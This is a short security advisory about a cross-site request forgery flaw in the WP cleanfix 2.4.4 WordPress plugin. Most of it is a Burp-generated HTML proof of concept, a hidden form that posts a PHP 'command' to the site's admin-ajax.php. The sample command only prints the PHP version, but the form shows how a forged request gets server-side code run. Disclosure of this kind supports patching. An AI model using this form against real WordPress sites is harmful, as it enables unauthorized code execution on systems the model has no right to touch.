source: https://www.securityfocus.com/bid/59940/info The WP cleanfix plugin for WordPress is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. WP cleanfix 2.4.4 is vulnerable; other versions may also be affected. SRF PoC - generated by Burp Suite Professional --> <body> <form action="http://www.example.com/wordpress/wordpress-351/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="wpCleanFixAjax" /> <input type="hidden" name="command" value="echo phpversion();" /> <input type="submit" value="Submit request" /> </form> </body> </html>